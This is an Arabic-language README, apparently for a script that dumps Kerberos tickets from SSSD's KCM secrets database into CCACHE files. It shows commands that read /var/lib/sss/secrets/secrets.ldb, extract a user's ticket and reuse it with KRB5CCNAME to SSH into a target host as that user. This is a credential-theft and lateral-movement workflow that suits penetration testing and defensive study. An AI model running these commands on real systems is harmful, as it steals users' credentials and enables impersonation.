
تفريغ تذاكر Kerberos من قاعدة بيانات KCM الخاصة بـ SSSD
نص برمجي سريع لتفريغ قاعدة بيانات KCM المستخدمة من قبل SSSD واستعادة تذاكر Kerberos بصيغة CCACHE.
مبني في البداية على SSSDKCMExtractor و KCMTicketFormatter.
منذ الإصدار 2.0.0 (2018-08-13)، لم يعد التخزين الخلفي لمستجيب KCM في SSSD يقوم بتشفير محتوى قاعدة البيانات بعد الآن. ومع ذلك، لا يزال يعتمد على قاعدة بيانات LDB (المبنية بدورها على TDB)، مما يجعل البحث فيها سهلاً باستخدام استعلامات شبيهة بـ LDAP.
يستخدم SSSD صيغة تخزين مخصصة لتذاكر Kerberos، ويمكن تحويلها إلى ملفات CCACHE قياسية باستخدام هذا النص البرمجي.
$ apt install python3-construct python3-ldb
$ python3 kcmdump.py /var/lib/sss/secrets/secrets.ldb
$ ls -lh
-rw-r--r--. 1 root root 1.3K Jan 1 00:00 user_0.ccache
-rw-r--r--. 1 root root 1.8K Jan 1 00:00 kcmdump.py
$ KRB5CCNAME=user_0.ccache klist
$ KRB5CCNAME=user_0.ccache ssh [email protected]@target.corp.local